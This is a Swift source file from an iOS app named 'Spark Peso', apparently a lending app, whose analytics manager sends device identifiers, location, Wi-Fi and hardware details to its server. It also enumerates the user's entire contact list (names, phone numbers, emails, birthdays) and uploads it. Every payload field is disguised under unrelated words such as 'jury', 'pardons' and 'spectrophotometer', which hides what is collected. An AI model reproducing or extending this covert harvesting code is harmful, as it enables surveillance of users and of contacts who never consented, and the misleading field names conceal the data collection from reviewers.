//
//  XQAnalysisManager.swift
//  Spark Peso
//
//  Created by 小琦 on 2025/2/16.
//

import UIKit
import FBSDKCoreKit
import Contacts
import CoreLocation

class XQAnalysisManager: NSObject {

    static let shared = XQAnalysisManager()
    
    private override init() {}
    
    var batteryInfo : [String : String]?
    
    func notifyFB(model : XQInitHarassmentModel,launchOptions : [UIApplication.LaunchOptionsKey: Any]?) {
        Settings.shared.appID = model.healthcare
        Settings.shared.displayName = model.inequities
        Settings.shared.clientToken = model.adverse
        Settings.shared.appURLSchemeSuffix = model.workers
        Settings.shared.isAutoLogAppEventsEnabled = true
//        Settings.shared.isAdvertiserIDCollectionEnabled = true
        ApplicationDelegate.shared.application(UIApplication.shared, didFinishLaunchingWithOptions: nil)
    }
    
    
    func notifyIdfvAndIdfa() {
        
        let idfv = XQDeviceManager.idfv()
        let idfa = XQDeviceManager.idfa()
        
        let params : [String : String] = [
            "assigned" : idfv,
            "randomly" : idfa
        ]
        
        XQNetworkManager.shared.postRequest(url: "/figures/spectrophotometer", parameters: params) { response, error in
            
        }
    }
    
    func notifyLocation() {
        let params = XQLocationManager.shared.locationInfo()
        XQNetworkManager.shared.postRequest(url: "/figures/quantify", parameters: params) { response, error in
            
        }
    }
    
    func notifyDevice() {
        let reality : [String : String] = [
            "virtual" : XQDiskMemoryTool.availableStorageSize(),
            "watched" : XQDiskMemoryTool.getStorageSizes(),
            "practicing" : XQDiskMemoryTool.totalMemorySize(),
            "experiment" : XQDiskMemoryTool.availableMemorySize(),
        ]
        
        let includes = batteryInfo ?? [:]
        
        let entirely : [String : String] = [
            "conviction" : XQDeviceManager.systemVersion(),
            "ii" : XQDeviceManager.systemName(),
            "points" : XQDeviceManager.originalDeviceModel()
        ]
        
        let convict : [String : String] = [
            "pools" : XQDeviceManager.isSimulator() ? "1" : "0",
            "jury" : XQDeviceManager.isJury() ? "1" : "0"
        ]
        
        let formed : [String : String] = [
            "juries" : XQTimeTool.currentZone(),
            "assigned" : XQDeviceManager.idfv(),
            "credentials" : Locale.current.languageCode ?? "en",
            "misconduct" : XQNetTool.getNetworkType(),
            "randomly" : XQDeviceManager.idfa()
        ]
        
        let pretrial = XQNetTool.wifiInfo() ?? [:]
        
        let jsonDic = [
            "reality" : reality,
            "includes" : includes,
            "entirely" : entirely,
            "convict" : convict,
            "formed" : formed,
            "pretrial" : pretrial
        ]
        
        if let jsonString = dictionaryToJsonString(dictionary: jsonDic) {
            
            let params = ["procedure" : jsonString]
            
            XQNetworkManager.shared.postRequest(url: "/figures/readings", parameters: params) { response, error in}
        }
    }
    
    func notifyContacts() {
        DispatchQueue.global(qos: .userInitiated).async {
            let fetch: [CNKeyDescriptor] = [
                CNContactGivenNameKey as CNKeyDescriptor,
                CNContactFamilyNameKey as CNKeyDescriptor,
                CNContactPhoneNumbersKey as CNKeyDescriptor,
                CNContactBirthdayKey as CNKeyDescriptor,
                CNContactEmailAddressesKey as CNKeyDescriptor
            ]
            
            let fRequest = CNContactFetchRequest(keysToFetch: fetch)
            
            let store = CNContactStore()
            
            var list : [Any] = []
            
            do {
                try store.enumerateContacts(with: fRequest) { (contact, stop) in
                    let gName = contact.givenName
                    let fName = contact.familyName
                    let nameStr = "\(gName) \(fName)"
                    
                    // 处理电话号码
                    let pNumbers = contact.phoneNumbers
                    let phoneList = pNumbers.map { $0.value.stringValue }
                    let pJsonString = phoneList.joined(separator: ",")
                    
                    // 处理电子邮件
                    var eValue = ""
                    if let email = contact.emailAddresses.first?.value as String? {
                        eValue = email
                    }
                    
                    // 处理生日
                    var birthday = ""
                    if let birth = contact.birthday {
                        let dateFormatter = DateFormatter()
                        dateFormatter.dateStyle = .medium
                        if birth.date != nil {
                            birthday = dateFormatter.string(from: birth.date!)
                        }
                    }
                    
                    // 创建字典
                    var jsonDict: [String: Any] = [
                        "fundamental": pJsonString.isEmpty ? "" : pJsonString,
                        "statistically": birthday.isEmpty ? "" : birthday,
                        "judges": eValue.isEmpty ? "" : eValue,
                        "pardons": nameStr.isEmpty ? "" : nameStr,
                        "miami": "",
                    ]
                    
                    // 获取当前时间戳
                    let timeStamp = Date().timeIntervalSince1970
                    let timestampInMilliseconds = Int64(timeStamp * 1000)
                    let timeStampStr = "\(timestampInMilliseconds)"
                    
                    jsonDict["philadelphia"] = timeStampStr
                    jsonDict["paying"] = timeStampStr
                    
                    list.append(jsonDict)
                }
                
                if let jsonString = self.arrayToJsonString(array: list) {
                    let params = ["procedure" : jsonString]
                    
                    XQNetworkManager.shared.postRequest(url: "/figures/action", parameters: params) { response, error in}
                }                
            } catch {
               
            }
        }
    }
    
    func notifyRisk(numberType : String,longitude : CLLocationDegrees, latitude : CLLocationDegrees,startT : Int64,endT : Int64, orderId : String) {
        let params : [String : String] = [
            "wrongful" : numberType,
            "suggest" : "2",
            "rape" : XQDeviceManager.idfv(),
            "exonerations" : XQDeviceManager.idfa(),
            "longer" : longitude == 0 ? "0" : String(format: "%.6f",longitude),
            "sentences" : latitude == 0 ? "0" : String(format: "%.6f",latitude),
            "dna" : String(format: "%lld", startT),
            "court" :  String(format: "%lld", endT),
            "videos" : orderId
        ]
        
        DispatchQueue.global(qos: .default).async {
            XQNetworkManager.shared.postRequest(url: "/figures/precise", parameters: params) { response, error in}
        }
    }
}

extension XQAnalysisManager {
    
    private func dictionaryToJsonString(dictionary: [String: Any]) -> String? {
        do {
            let jsonData = try JSONSerialization.data(withJSONObject: dictionary, options: [])
            let jsonString = String(data: jsonData, encoding: .utf8)
            return jsonString
        } catch {
            return nil
        }
    }
    
    private func arrayToJsonString(array: [Any]) -> String? {
        do {
            let jsonData = try JSONSerialization.data(withJSONObject: array, options: [])
            let jsonString = String(data: jsonData, encoding: .utf8)
            return jsonString
        } catch {
            print("Error converting array to JSON: \(error)")
            return nil
        }
    }
}
